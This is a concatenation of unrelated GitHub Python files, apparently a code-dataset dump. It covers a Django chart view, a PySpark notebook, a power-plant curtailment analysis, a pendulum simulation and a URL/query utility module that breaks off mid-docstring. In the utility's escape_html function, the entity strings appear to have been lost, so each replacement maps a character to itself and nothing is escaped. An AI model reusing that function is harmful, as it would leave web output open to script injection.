'chart': get_employee_stats(stats, company=None),\n 'charts_for_company': charts_for_company,\n }\n else:\n stats_for_company = Statistic.objects.filter(employee__company__name=request.user.company)\n context = {\n 'chart': get_employee_stats(stats_for_company, company=request.user.company)\n }\n \n return render(request, 'accounts/charts.html', context)\n\n","repo_name":"Maddie02/mask-detector","sub_path":"mask_detect/stats/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4736097988","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[9]:\n\n\nfrom pyspark.sql import SparkSession\nspark = SparkSession.builder.appName('somerandomname').getOrCreate()\n\n\n# In[2]:\n\n\nfrom pyspark.sql.types import (StructField,StringType,IntegerType,StructType)\n\n\n# In[6]:\n\n\ndata_schema=[StructField('firstName',StringType(),True),\n StructField('lastName',StringType(),True),\n StructField('gender',StringType(),True),\n StructField('age',IntegerType(),True)]\n\n\n# In[7]:\n\n\nfinal_struc =StructType(fields=data_schema)\n\n\n# In[13]:\n\n\ndf=spark.read.json('sample.json',schema=final_struc)\n\n\n# In[10]:\n\n\ndf=spark.read.json('sample.json',schema=final_struc)\n\n\n# In[11]:\n\n\ndf.printSchema()\n\n\n# In[12]:\n\n\ndf.show()\n\n\n# In[14]:\n\n\ndf.withColumn('double_age',df['age']*2).show()\n\n\n# In[18]:\n\n\ndf.withColumnRenamed('age','newage').show()\n\n\n# In[19]:\n\n\ndf.show()\n\n\n# In[20]:\n\n\ndf.createOrReplaceTempView('people')\n\n\n# In[21]:\n\n\nres=spark.sql(\"select * from people\")\n\n\n# In[22]:\n\n\nres.show()\n\n\n# In[23]:\n\n\nres=spark.sql(\"select * from people where age=30\")\n\n\n# In[24]:\n\n\nres.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"gurucharanD/python","sub_path":"spark/sql_operations_on_dataframe.py","file_name":"sql_operations_on_dataframe.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17565660250","text":"import pandas as pd\nimport os\nimport numpy as np\nfrom time import process_time\n\ndef readfile(file,rows_skiped, colmns):\n if file[-4:] == \".csv\":\n if colmns == []:\n df = pd.DataFrame(pd.read_csv(file,skiprows= rows_skiped))\n else:\n df = pd.DataFrame(pd.read_csv(file,usecols= colmns,skiprows=rows_skiped))\n elif file[-5:] == \".xlsx\":\n if colmns == []:\n df = pd.DataFrame(pd.read_excel(file,skiprows= rows_skiped))\n else:\n df = pd.DataFrame(pd.read_excel(file,usecols= colmns,skiprows=rows_skiped))\n df.head(10)\n return df\n\ndef month_year_index(data, date,start_date):\n data[\"Year\"] = date[1]\n data[\"Month\"] = date[0]\n month = date[0]\n year = date[1]\n\n for stage in data[\"Stag\"].unique():\n data.loc[data[\"Stag\"] == stage, \"Month\"] = month\n data.loc[data[\"Stag\"] == stage, \"Year\"] = year\n month += 1\n if month > 12:\n month = 1\n year += 1\n data = data.drop(columns = [\"Stag\"])\n data = data.set_index([\"Year\",\"Month\",\"Seq.\",\"Blck\"])\n data = data.loc[start_date:,:]\n return data\n\ndef init_date(file):\n df = pd.DataFrame(pd.read_csv(file,nrows=1))\n df = df.rename(columns = {i:i.replace(\" \",\"\") for i in df.columns})\n return [int(df.columns[-2]),int(df.columns[-1])]\n\ndef printProgressBar (iteration, total, prefix = '', suffix = '', decimals = 1, length = 100, fill = '█', printEnd = \"\\r\"):\n \"\"\"\n Call in a loop to create terminal progress bar\n @params:\n iteration - Required : current iteration (Int)\n total - Required : total iterations (Int)\n prefix - Optional : prefix string (Str)\n suffix - Optional : suffix string (Str)\n decimals - Optional : positive number of decimals in percent complete (Int)\n length - Optional : character length of bar (Int)\n fill - Optional : bar fill character (Str)\n printEnd - Optional : end character (e.g. \"\\r\", \"\\r\\n\") (Str)\n \"\"\"\n percent = (\"{0:.\" + str(decimals) + \"f}\").format(100 * (iteration / float(total)))\n filledLength = int(length * iteration // total)\n bar = fill * filledLength + '-' * (length - filledLength)\n print(f'\\r{prefix} |{bar}| {percent}% {suffix}', end = printEnd)\n # Print New Line on Complete\n if iteration == total: \n print()\n\ndef export_excel(sheet_list, type_flag, file_root, filename, language,*args):\n\n t0 = exectime(\"Exporting data to: \" + filename, True, 0)\n printProgressBar(0, len(sheet_list), prefix = 'Progress:', suffix = 'Complete', length = 50)\n\n with pd.ExcelWriter(os.path.join(file_root,filename), engine = 'xlsxwriter') as writer:\n for i in range(len(sheet_list)):\n if type_flag[i] == 0: # Generation incoming capacity\n args[i].to_excel(writer, sheet_name = sheet_list[i], index = True)\n # synex_style(args[i], writer.book, writer.sheets[sheet_list[i]],False, language)\n\n elif type_flag[i] == 1: # Generation works plan\n args[i].to_excel(writer, sheet_name = sheet_list[i])\n synex_style(args[i], writer.book, writer.sheets[sheet_list[i]], True, language)\n xlsx_chart({'type':'column', \"subtype\":\"stacked\"},\n [\"orange\",\"red\",\"black\",\"gray\",\"brown\",\"green\",\"lime\",\"blue\",\"purple\",\"yellow\",\"cyan\",\"magenta\"],\n writer.book,sheet_list[i],writer.sheets,args[i].shape,language,type_flag)\n\n elif type_flag[i] == 2:\n args[i].to_excel(writer, sheet_name = sheet_list[i])\n synex_style(args[i], writer.book, writer.sheets[sheet_list[i]], True, language)\n xlsx_chart({'type':'column', \"subtype\":\"stacked\"},\n [\"orange\",\"red\",\"black\",\"gray\",\"brown\",\"silver\",\"green\",\"lime\",\"blue\",\"purple\",\"yellow\",\"cyan\",\"magenta\"],\n writer.book,sheet_list[i],writer.sheets,args[i].shape,language,type_flag)\n\n\n printProgressBar(i+1, len(sheet_list), prefix = sheet_list[i], suffix = 'Complete', length = 50) # 'Progress:'\n t0 = exectime(\"Exporting data to: \"+filename, False, t0)\n\ndef exectime(file,flag,t0):\n if flag == True:\n print(\"______________________________________________\")\n print(\"Processing File \", file)\n t0 = process_time()\n return t0\n else:\n t1 = process_time()\n print(\"Execution Time: \",t1-t0,\" sec.\")\n print(\"______________________________________________\")\n return 0\n\ndef synex_style(data, workbook, worksheet,type_chart, language):\n \n # Header table color\n header_format = workbook.add_format({\"fg_color\":\"#16365C\",'font_name':\"Arial Narrow\",'font_color':\"white\",'align':\"center\"})\n\n # row and col index\n row_idx, col_idx = data.shape\n\n if type_chart:\n if language:\n worksheet.write(0,0,\"Year\",header_format)\n else:\n worksheet.write(0,0,\"Año\",header_format)\n \n for col_num, value in enumerate(data.columns.values):\n worksheet.write(0,col_num + 1, value, header_format)\n \n for r in range(row_idx):\n worksheet.write( r+1, 0, data.index[r], workbook.add_format({'num_format':1,'align':\"center\",'font_name':\"Arial Narrow\",'right':1}))\n if r == row_idx - 1:\n worksheet.write( r+1, 0, data.index[r], workbook.add_format({'num_format':1,'align':\"center\",'font_name':\"Arial Narrow\",'bottom':6,'right':1}))\n for c in range(col_idx):\n if c < col_idx - 1 and r < row_idx - 1:\n worksheet.write( r+1, c+1, data.loc[ data.index[r], data.columns[c]], workbook.add_format({'num_format':3,'align':\"center\",\n 'font_name':\"Arial Narrow\",'right':1}))\n elif r == row_idx - 1 and c < col_idx - 1:\n worksheet.write( r+1, c+1, data.loc[ data.index[r], data.columns[c]], workbook.add_format({'num_format':3,'align':\"center\",\n 'font_name':\"Arial Narrow\",'right':1,'bottom':6}))\n elif c == col_idx - 1 and r == row_idx - 1:\n worksheet.write( r+1, c+1, data.loc[data.index[r], data.columns[c]], workbook.add_format({'num_format':3,'align':\"center\",\n 'font_name':\"Arial Narrow\",'bottom':6}))\n else:\n worksheet.write( r+1, c+1, data.loc[ data.index[r], data.columns[c]], workbook.add_format({'num_format':3,'align':\"center\",\n 'font_name':\"Arial Narrow\"}))\n\ndef weighted_mean(data, time, Serie_flag):\n\n t0 = exectime(\"cmgbus.csv\", True, 0)\n if Serie_flag:\n df_seq_mean = data.groupby(level = [0,1,3]).mean() # data with year-month-block mean\n df_out = df_seq_mean.mul(time.loc[:,\"SEN\"], axis = 0).div(time.loc[:,\"Total_month\"], axis = 0)\n df_out = df_out.groupby(level = [0,1]).sum()\n df_out2 = df_out.groupby(level = [0]).mean()\n t0 = exectime(\"cmgbus.csv\", False, t0)\n return df_out, df_out2\n else:\n df_out = pd.DataFrame(0,columns = data.columns,index = data.index)\n printProgressBar(0, len(df_out.index.get_level_values(\"Seq.\").unique()), prefix = 'Progress:', suffix = 'Complete', length = 50)\n for serie in df_out.index.get_level_values(\"Seq.\").unique():\n df_out.loc[df_out.index.get_level_values(\"Seq.\").isin([serie]),:] = data.loc[data.index.get_level_values(\"Seq.\").isin([serie]),:].mul(time.loc[:,\"SEN\"].values, axis = 0).div(time.loc[:,\"Total_month\"].values, axis = 0)\n printProgressBar(serie, len(df_out.index.get_level_values(\"Seq.\").unique()), prefix = 'Progress:', suffix = 'Complete', length = 50)\n df_out = df_out.groupby(level = [0,1,2]).sum()\n df_out2 = df_out.groupby(level = [0,2]).mean()\n t0 = exectime(\"cmgbus.csv\", False, t0)\n return df_out, df_out2\n\ndef case_hydro_condition(init_hydro_date, last_hydro_date, data_index, hydro_seq):\n \n hydro_condition = pd.DataFrame(index = data_index, columns = [i for i in range(1,94)])\n\n first_row_year = init_hydro_date\n last_row_year = init_hydro_date\n\n for c in hydro_condition.columns:\n for r in hydro_condition.index:\n if c == hydro_condition.columns[0] and r == hydro_condition.index[0]: # First cell (0,0)\n if r[1] > 4:\n first_row_year += 1\n hydro_condition.loc[r,c] = first_row_year\n last_row_year = hydro_condition.loc[r,c]\n first_row_year += 1\n elif c != hydro_condition.columns[0] and r == hydro_condition.index[0]: # anything but first col (r,0)\n if first_row_year > last_hydro_date:\n first_row_year = init_hydro_date\n hydro_condition.loc[r,c] = first_row_year\n last_row_year = hydro_condition.loc[r,c]\n first_row_year += 1\n else: # any other cell (r,c)\n if r[1] == 5:\n if last_row_year == last_hydro_date:\n last_row_year = init_hydro_date\n else:\n last_row_year += 1\n hydro_condition.loc[r,c] = last_row_year\n last_row_year = hydro_condition.loc[r,c]\n for c in hydro_condition.columns:\n for r in hydro_condition.index:\n hydro_condition.loc[r,c] = hydro_seq[hydro_seq[\"Year\"] == hydro_condition.loc[r,c]].index[0]\n return hydro_condition\n\ndef gen_bus_adder(dbus, column_names, df_index, *args):\n df = pd.DataFrame(0,columns = column_names, index = df_index)\n for data in args:\n for col in data:\n df.loc[:,dbus.loc[dbus[\"Gen. name\"] == col,\"Name\"].all()] += data.loc[:,col]\n return df\n\n\nfile_root = input(\"Please add file root: \",)\n\noutput_file_name = \"vert_generation.xlsx\"\n\nEnglish = True\n\nbus_list = [\"CPinto220\",\"Cardones220\",\"NVaCardon500\",\"Maitenci220\",\"PAzucar220\",\"Polpaico220\",\"Crucero220\",\"DAlmagro220\"]\n\nprint(\"Reading files...\")\ndbus = readfile(os.path.join(file_root,\"dbus.csv\"),1,[1,6])\ndbus = dbus.fillna(\"-\")\ndbus[\"Gen. name\"] = dbus[\"Gen. name\"].str.replace(\" \",\"\")\n\ndictionary = readfile(\"Power_Plant_Dictionary.xlsx\",0,[])\ndictionary = dictionary.fillna(\"-\")\ndictionary[\"Tecnología Inglés\"].unique()\n\nstart_date_output = (2023,1)\ndate = init_date(os.path.join(file_root,\"duraci.csv\"))\nduraci = readfile(os.path.join(file_root,\"duraci.csv\"), 3, [0,1,2,3]) \nvergnd = readfile(os.path.join(file_root,\"vergnd.csv\"), 3, [])\ngergnd = readfile(os.path.join(file_root,\"gergnd.csv\"), 3, [])\n\ngergnd = gergnd.rename(columns= {col: col.replace(\" \",\"\") for col in gergnd.columns})\nvergnd = vergnd.rename(columns= {col: col.replace(\" \",\"\") for col in vergnd.columns})\n\nvergnd = month_year_index(vergnd, date, start_date_output)\ngergnd = month_year_index(gergnd, date, start_date_output)\n\nvergnd = vergnd.groupby(level = [0,1,3]).mean().groupby(level = [0,1]).sum()\ngergnd = gergnd.groupby(level = [0,1,3]).mean().groupby(level = [0,1]).sum()\n\n# Vert by bus\nprint(\"Calculating vert by bus...\")\ngen_by_bus = gen_bus_adder(dbus,dbus[\"Name\"].unique(),gergnd.index,gergnd)\nvert_by_bus = gen_bus_adder(dbus,dbus[\"Name\"].unique(),vergnd.index,vergnd)\ngen_by_bus = gen_by_bus.loc[:,bus_list]\nvert_by_bus = vert_by_bus.loc[:,bus_list]\n\nvert_perc_by_bus = vert_by_bus/(gen_by_bus + vert_by_bus)\nvert_by_bus_annual = vert_by_bus.groupby(level = [0]).sum()/(gen_by_bus.groupby(level = [0]).sum() + vert_by_bus.groupby(level = [0]).sum())\n\n# Vert by technology\nprint(\"Calculating vert by technology...\")\nrw_gen = pd.DataFrame(0,columns=[\"Solar PV\",\"Wind Farm\",\"Solar CSP\"],index = gergnd.index)\nvert_gen = pd.DataFrame(0,columns=[\"Solar PV\",\"Wind Farm\",\"Solar CSP\"],index = gergnd.index)\n\nfor col in gergnd.columns:\n if dictionary.loc[dictionary[\"SDDP\"] == col,\"Tecnología Inglés\"].all() == \"Solar PV\" or dictionary.loc[dictionary[\"SDDP\"] == col,\"Tecnología Inglés\"].all() == \"Hybrid\":\n rw_gen.loc[:,\"Solar PV\"] += gergnd.loc[:,col]\n vert_gen.loc[:,\"Solar PV\"] += vergnd.loc[:,col]\n elif dictionary.loc[dictionary[\"SDDP\"] == col,\"Tecnología Inglés\"].all() == \"Wind Farm\":\n rw_gen.loc[:,\"Wind Farm\"] += gergnd.loc[:,col]\n vert_gen.loc[:,\"Wind Farm\"] += vergnd.loc[:,col]\n elif dictionary.loc[dictionary[\"SDDP\"] == col,\"Tecnología Inglés\"].all() == \"Solar CSP\":\n rw_gen.loc[:,\"Solar CSP\"] += gergnd.loc[:,col]\n vert_gen.loc[:,\"Solar CSP\"] += vergnd.loc[:,col]\n else:\n print(dictionary.loc[dictionary[\"SDDP\"] == col,\"Tecnología Inglés\"].all())\n\nrw_gen[\"Total\"] = rw_gen.sum(axis = 1)\nvert_gen[\"Total\"] = vert_gen.sum(axis = 1)\n\nvert_percentage = vert_gen/(rw_gen + vert_gen)\n\nvert_percentage_annual = vert_gen.groupby(level = [0]).sum()/(rw_gen.groupby(level = [0]).sum() + vert_gen.groupby(level = [0]).sum())\n\nexport_excel([\"Vert_percentage\",\"vert_perc_annual\",\"Vert_by_bus\",\"Vert_by_bus_annual\"],[0,0,0,0], file_root, output_file_name, English, \n vert_percentage,vert_perc_by_bus,vert_percentage_annual,vert_by_bus_annual)\n","repo_name":"SebaMoralesG/SynexCodes","sub_path":"vert_analysis.py","file_name":"vert_analysis.py","file_ext":"py","file_size_in_byte":13221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6376632244","text":"import numpy as np\nimport os\nimport matplotlib.pyplot as plt\nfrom scipy.constants import g\n\nclass PendulumConfig:\n\n def __init__(self, init_theta, init_omega, time_resolution, pendulum_length, max_steps, pendulum_mass):\n self.init_theta = init_theta\n self.init_omega = init_omega\n self.time_resolution = time_resolution\n self.pendulum_length = pendulum_length\n self.max_steps = max_steps\n self.pendulum_mass = pendulum_mass\n\nclass Pendulum:\n\n def __init__(self, pendulum_config):\n self.config = pendulum_config\n self.time_vec = np.zeros(self.config.max_steps)\n self.theta_vec = np.zeros(self.config.max_steps)\n self.omega_vec = np.zeros(self.config.max_steps)\n self.total_energy = np.zeros(self.config.max_steps)\n self.kinetic_energy = np.zeros(self.config.max_steps)\n self.potential_energy = np.zeros(self.config.max_steps)\n self.theta_vec[0] = self.config.init_theta\n self.omega_vec[0] = self.config.init_omega\n self.kinetic_energy[0] = 0.5 * self.config.pendulum_mass * self.config.pendulum_length ** 2 * \\\n self.omega_vec[0] ** 2\n self.potential_energy[0] = 0.5 * self.config.pendulum_mass * self.config.pendulum_length**2 *\\\n self.omega_vec[0] ** 2\n self.total_energy[0] = self.kinetic_energy[0] + self.potential_energy[0]\n\n def calculate_kinetic_energy(self, omega):\n return 0.5 * self.config.pendulum_mass * self.config.pendulum_length**2 * omega**2\n\n def calculate_potential_energy(self, theta):\n return self.config.pendulum_mass * g * self.config.pendulum_length * (1 - np.cos(theta))\n\n def euler_method(self):\n for step in range(1, self.config.max_steps):\n omega_old = self.omega_vec[step-1]\n theta_old = self.theta_vec[step-1]\n omega = omega_old - (g / self.config.pendulum_length) * np.sin(theta_old) * self.config.time_resolution\n theta = theta_old + omega_old * self.config.time_resolution\n self.kinetic_energy[step] = self.calculate_kinetic_energy(omega)\n self.potential_energy[step] = self.calculate_potential_energy(theta)\n self.total_energy[step] = self.kinetic_energy[step-1] + self.potential_energy[step-1]\n self.time_vec[step] = self.config.time_resolution * step\n self.theta_vec[step] = theta\n self.omega_vec[step] = omega\n\n def euler_cromer_method(self):\n\n for step in range(1, self.config.max_steps):\n omega_old = self.omega_vec[step-1]\n theta_old = self.theta_vec[step-1]\n omega = omega_old - (g / self.config.pendulum_length) * np.sin(theta_old) * self.config.time_resolution\n theta = theta_old + omega * self.config.time_resolution\n self.kinetic_energy[step] = self.calculate_kinetic_energy(omega)\n self.potential_energy[step] = self.calculate_potential_energy(theta)\n self.total_energy[step] = self.kinetic_energy[step-1] + self.potential_energy[step-1]\n self.time_vec[step] = self.config.time_resolution * step\n self.theta_vec[step] = theta\n self.omega_vec[step] = omega\n\n\n def draw_plot(self, type, confirm_save='', show_plot=False):\n plt.figure(0)\n if type == 'oscillation':\n plt.plot(self.time_vec, self.theta_vec)\n plt.xlabel('Time[s]')\n plt.ylabel('Velocity[rad/s]')\n elif type == 'energy':\n plt.plot(self.time_vec, self.kinetic_energy, label='Kinetic-Energy')\n plt.plot(self.time_vec, self.potential_energy, label='Potential-Energy')\n plt.plot(self.time_vec, self.total_energy, label='Total-Energy')\n plt.xlabel('Time[s]')\n plt.ylabel('Energy[J]')\n plt.legend(loc='lower right')\n\n if confirm_save != '':\n script_path = os.path.dirname(os.path.abspath(__file__))\n plt.savefig(os.path.join(script_path, confirm_save))\n else:\n raise Exception(\"Plot type not valid. Valid types: 'oscillation', 'energy'.\")\n\n if show_plot:\n plt.show()\n\n#theta0, omega0, tau, g, l, numSteps\npendulum_config = PendulumConfig(0.2, 0, 0.01, 1, 3000, 1)\npendulum = Pendulum(pendulum_config)\n\n#pendulum.euler_method()\npendulum.euler_cromer_method()\n\n#pendulum.draw_plot('energy', 'euler_cromer.png')\npendulum.draw_plot('energy', show_plot=True)\n\n# theta0 (the initial angle, in rad)\n# omega0 (the initial angular velocity, in rad/s)\n# tau (the time step)\n# m (mass of the pendulum)\n# g (gravitational constant)\n# l (length of the pendulum)\n# numSteps (number of time steps to take, in s)\n\n","repo_name":"NLMitterecker/cophy1","sub_path":"assignment2/euler_euler-cromer.py","file_name":"euler_euler-cromer.py","file_ext":"py","file_size_in_byte":4870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11326146165","text":"__author__ = u\"Andr\\xe9 Malo\"\n__docformat__ = \"restructuredtext en\"\n\nimport re as _re\nimport urlparse as _urlparse\n\nPIXEL = 'GIF89a\\x01\\x00\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff!' \\\n '\\xf9\\x04\\x01\\x00\\x00\\x00\\x00,\\x00\\x00\\x00\\x00\\x01\\x00\\x01' \\\n '\\x00\\x00\\x02\\x01D\\x00;'\n\n\ndef escape_html(toescape, quotes=True):\n \"\"\"\n Escape a string for HTML output\n\n :Parameters:\n - `toescape`: The string to escape\n - `quotes`: Escape quotes, too?\n\n :Types:\n - `toescape`: ``basestring``\n - `quotes`: ``bool``\n\n :return: The escaped string\n :rtype: ``basestring``\n \"\"\"\n if isinstance(toescape, unicode):\n xquote, result = (u'\"', u'"'), toescape.replace(u'&', u'&'\n ).replace(u'<', u'<').replace(u'>', u'>')\n else:\n xquote, result = ('\"', '"'), str(toescape).replace('&', '&'\n ).replace('<', '<').replace('>', '>')\n if quotes:\n result = result.replace(*xquote)\n return result\n\n\ndef escape_js(toescape):\n \"\"\"\n Escape a string for JS output (to be inserted into a JS string)\n\n The output is always of type ``str``.\n\n :Parameters:\n `toescape` : ``basestring``\n The string to escape\n\n :Return: The escaped string\n :Rtype: ``str``\n \"\"\"\n if isinstance(toescape, unicode):\n result = toescape.replace(u'\\\\', u'\\\\\\\\').encode('unicode_escape')\n else:\n result = str(toescape).replace('\\\\', '\\\\\\\\').encode('string_escape')\n return result.replace(\"'\", \"\\\\'\").replace('\"', '\\\\\"').replace('/', '\\\\/')\n\n\ndef decode_simple(value):\n \"\"\"\n Return unicode version of value\n\n Simple heuristics: Try UTF-8 first, cp1252 then\n\n :Parameters:\n - `value`: The value to decode\n\n :Types:\n - `value`: ``str``\n\n :return: The decoded value\n :rtype: ``unicode``\n \"\"\"\n try:\n return value.decode('utf-8')\n except UnicodeError:\n return value.decode('cp1252')\n\n\nclass URL(object):\n \"\"\"\n URL abstraction (RFC 1738)\n\n :CVariables:\n - `_PARTS`: ordered list of known URL parts (available via instance\n attributes)\n\n :IVariables:\n - `scheme`: The URL scheme\n - `netloc`: The net location if available (or ``''``)\n - `path`: The unescaped path if available, for non-path-based schemes\n this contains the unescaped non-path ;-) (or ``''``)\n - `params`: optional unescaped path parameters (or ``''``)\n - `query`: query object\n - `fragment`: optional fragment. Strictly spoken this isn't part of URLs\n but of URL references. But who cares. (or ``''``)\n\n :Types:\n - `_PARTS`: ``tuple``\n - `scheme`: ``str``\n - `netloc`: ``unicode``\n - `path`: ``unicode``\n - `params`: ``unicode``\n - `query`: `Query`\n - `fragment`: ``unicode``\n \"\"\"\n scheme, netloc, path, params, query, fragment = [''] * 6\n _PARTS = ('scheme', 'netloc', 'path', 'params', 'query', 'fragment')\n _PATH_SAFE = '/()=~'\n _unicode = False\n\n def __init__(self, url, decode=None):\n \"\"\"\n Initialization\n\n :Parameters:\n - `url`: The url to parse. If it's an instance of this class, the\n parameters will be copied\n - `decode`: Decoder of parsed octet data\n\n :Types:\n - `url`: ``basestring`` or `URL`\n - `decode`: ``callable``\n \"\"\"\n if isinstance(url, URL):\n for key in self._PARTS:\n setattr(self, key, getattr(url, key))\n self.query = Query(url.query)\n self._unicode = url._unicode # pylint: disable = W0212\n else:\n if decode is None:\n decode = decode_simple\n if decode:\n self._unicode = True\n if not isinstance(url, unicode):\n url = decode(url)\n if self._unicode:\n url = url.encode('utf-8')\n for key, value in zip(self._PARTS, _urlparse.urlparse(url)):\n setattr(self, key, value)\n if not isinstance(self.netloc, unicode):\n self.netloc = decode_simple(self.netloc)\n self.netloc = self.netloc.encode('idna')\n if self._unicode:\n self.netloc = self.netloc.decode('idna')\n self.path = decode(unquote(self.path))\n self.params = decode(unquote(self.params))\n self.fragment = decode(self.fragment)\n self.query = Query(self.query, decode=decode)\n\n def __str__(self):\n \"\"\"\n String representation, hostname idna encoded\n\n :return: The string representation\n :rtype: ``str``\n \"\"\"\n if self._unicode:\n encode = lambda x, enc = 'utf-8': x.encode(enc)\n else:\n encode = lambda x, enc = 'utf-8': x\n\n return _urlparse.urlunparse((\n self.scheme,\n encode(self.netloc, 'idna'),\n quote(encode(self.path), self._PATH_SAFE),\n quote(encode(self.params), self._PATH_SAFE),\n str(self.query),\n encode(self.fragment),\n ))\n\n def __repr__(self):\n \"\"\"\n Debug representation\n\n :return: The debug representation\n :rtype: ``str``\n \"\"\"\n return \"%s(%r)\" % (self.__class__.__name__, str(self))\n\n def __unicode__(self):\n \"\"\"\n Unicode representation, hostname as unicode (vs. idna)\n\n :return: The unicode representation\n :rtype: ``unicode``\n \"\"\"\n if self._unicode:\n encode = lambda x, enc = 'utf-8': x.encode(enc)\n decode = lambda x: x.decode('utf-8')\n else:\n encode = lambda x, enc = 'utf-8': x\n decode = decode_simple\n\n return decode(_urlparse.urlunparse((\n self.scheme,\n encode(self.netloc),\n quote(encode(self.path), self._PATH_SAFE),\n quote(encode(self.params), self._PATH_SAFE),\n str(self.query),\n encode(self.fragment),\n )))\n\n @classmethod\n def fromcomponents(cls, path, scheme=None, netloc=None, query=None):\n \"\"\"\n Create URL object from **unescaped** path\n\n For convenience you can optionally add query, scheme and netloc.\n\n :Parameters:\n - `path`: The path to create the URL from\n - `scheme`: Optional URL scheme (like ``http``)\n - `netloc`: Optional net location (like ``example.com``)\n - `query`: Optional query string (encoded) or `Query` object\n\n :Types:\n - `path`: ``basestring``\n - `scheme`: ``str``\n - `netloc`: ``basestring``\n - `query`: ``str``\n\n :return: New URL object\n :rtype: `URL`\n \"\"\"\n if not isinstance(path, unicode):\n path = decode_simple(path)\n path = path.encode('utf-8')\n self = cls(quote(path, cls._PATH_SAFE))\n if scheme is not None:\n self.scheme = str(scheme)\n if netloc is not None:\n if not isinstance(netloc, unicode):\n netloc = decode_simple(netloc)\n self.netloc = netloc.encode('idna')\n if query is not None:\n self.query = Query(query)\n return self\n\n def copy(self):\n \"\"\"\n Copy the URL\n\n :return: a new `URL` instance\n :rtype: `URL`\n \"\"\"\n return self.__class__(self)\n\n\nclass Query(object):\n \"\"\"\n Class for query string parsing and modification\n (stolen from svnmailer)\n\n :CVariables:\n - `_QUERYRE`: Regex for splitting a query string\n on possible delimiters (``&`` and ``;``)\n\n :Ivariables:\n - `_query_dict`: Dictionary of key->valuelist pairs\n (``{'key': ['val1', 'val2'], ...}``)\n - `_keyorder`: Original order of the keys (``['key', ...]``)\n - `_delim`: The delimiter to use for reconstructing the query string\n\n :Types:\n - `_QUERYRE`: ``_sre.SRE_Pattern``\n - `_query_dict`: ``dict``\n - `_keyorder`: ``list``\n - `_delim`: ``unicode``\n \"\"\"\n _QUERYRE = _re.compile(r'[&;]')\n _unicode = False\n\n def __init__(self, query=u'', delim='&', decode=None):\n \"\"\"\n Initialization\n\n :Parameters:\n - `query`: The query string to store\n - `delim`: The delimiter for reconstructing the query\n - `decode`: Parameter decoder\n\n :Types:\n - `query`: ``unicode`` or `Query`\n - `delim`: ``unicode``\n - `decode`: ``callable``\n \"\"\"\n if not query:\n if decode is None or decode:\n self._unicode = True\n query_dict = {}\n keyorder = []\n elif isinstance(query, Query):\n # pylint: disable = E1103, W0212\n query_dict = dict([(key, list(val))\n for key, val in query._query_dict.items()\n ])\n keyorder = list(query._keyorder)\n self._unicode = query._unicode\n else:\n query_dict = {}\n keyorder = []\n if decode is None:\n decode = decode_simple\n if decode:\n self._unicode = True\n if not isinstance(query, unicode):\n query = decode(query)\n query = query.encode('utf-8')\n if not decode:\n decode = lambda x: x\n for tup in [pair.split('=', 1)\n for pair in self._QUERYRE.split(query)]:\n if len(tup) == 1:\n key, val = decode(unquote_plus(tup[0])), None\n else:\n key, val = map(decode, map(unquote_plus, tup))\n query_dict.setdefault(key, []).append(val)\n keyorder.append(key)\n\n self._keyorder = keyorder\n self._query_dict = query_dict\n self._delim = delim\n\n def __str__(self):\n \"\"\"\n Returns the query as string again\n\n :return: The query as string (type depends on the input)\n :rtype: ``str``\n \"\"\"\n result = []\n qdict = dict((key, list(reversed(val)))\n for key, val in self._query_dict.iteritems())\n for key in self._keyorder:\n val = qdict[key].pop()\n if self._unicode:\n key = key.encode('utf-8')\n key = quote_plus(key)\n if val is None:\n result.append(key)\n else:\n if isinstance(val, unicode):\n val = val.encode('utf-8')\n val = quote_plus(val)\n result.append(\"%s=%s\" % (key, val))\n\n return self._delim.join(result)\n\n def __unicode__(self):\n \"\"\" Unicode representation (just ascii decoded str() value) \"\"\"\n return decode_simple(str(self))\n\n def __contains__(self, key):\n \"\"\"\n Returns whether `key` occurs in the query as parameter name\n\n :Parameters:\n - `key`: The key to lookup\n\n :Types:\n - `key`: ``unicode``\n\n :return: Does `key` occur?\n :rtype: ``bool``\n \"\"\"\n if self._unicode:\n key = unicode(key)\n return key in self._query_dict\n\n def __getitem__(self, key):\n \"\"\"\n Returns the value list for parameter named `key`\n\n Don't modify the returned list without adjusting `_keyorder`,\n too. At best don't modify it directly at all :)\n\n :Parameters:\n - `key`: The key to lookup\n\n :Types:\n - `key`: ``unicode``\n\n :return: The value list (``['val1', 'val2', ...]``)\n :rtype: ``list``\n\n :exception KeyError: The key does not exist\n \"\"\"\n if self._unicode:\n key = unicode(key)\n return tuple(self._query_dict[key])\n\n def __setitem__(self, key, value):\n \"\"\"\n Replace all occurences of `key` with the new one\n\n :Parameters:\n - `key`: key to replace\n - `value`: value to set\n\n :Types:\n - `key`: ``unicode``\n - `value`: ``unicode``\n \"\"\"\n self.remove([key])\n self.add([(key, value)])\n\n def replace(self, **kwargs):\n \"\"\"\n Conveniently replace multiple key value pairs at once\n\n :Parameters:\n - `kwargs`: key value pairs (unicode/unicode)\n\n :Types:\n - `kwargs`: ``dict``\n \"\"\"\n self.remove(kwargs.iterkeys())\n self.add(kwargs.iteritems())\n\n def remove(self, keys):\n \"\"\"\n Removes certain parameters from the query if present\n\n Non-present parameters are silently ignored\n\n :Parameters:\n - `keys`: The names of the parameters to remove\n\n :Types:\n - `keys`: sequence\n \"\"\"\n if self._unicode:\n keys = map(unicode, keys)\n for key in keys:\n if key in self._query_dict:\n del self._query_dict[key]\n self._keyorder = [\n nkey for nkey in self._keyorder if nkey != key\n ]\n\n def add(self, toadd):\n \"\"\"\n Adds certain key value pairs to the query\n\n :Parameters:\n - `toadd`: A sequence of key-value-pairs\n (``((u'key', u'value), ...)``)\n\n :Types:\n - `toadd`: ``iterable``\n \"\"\"\n for key, val in toadd:\n if self._unicode:\n key = unicode(key)\n if val is not None:\n if self._unicode:\n try:\n val = unicode(val)\n except ValueError:\n pass\n self._query_dict.setdefault(key, []).append(val)\n self._keyorder.append(key)\n\n def modify(self, remove=None, add=None, replace=None):\n \"\"\"\n Summarizes certain query modification methods\n\n `replace` 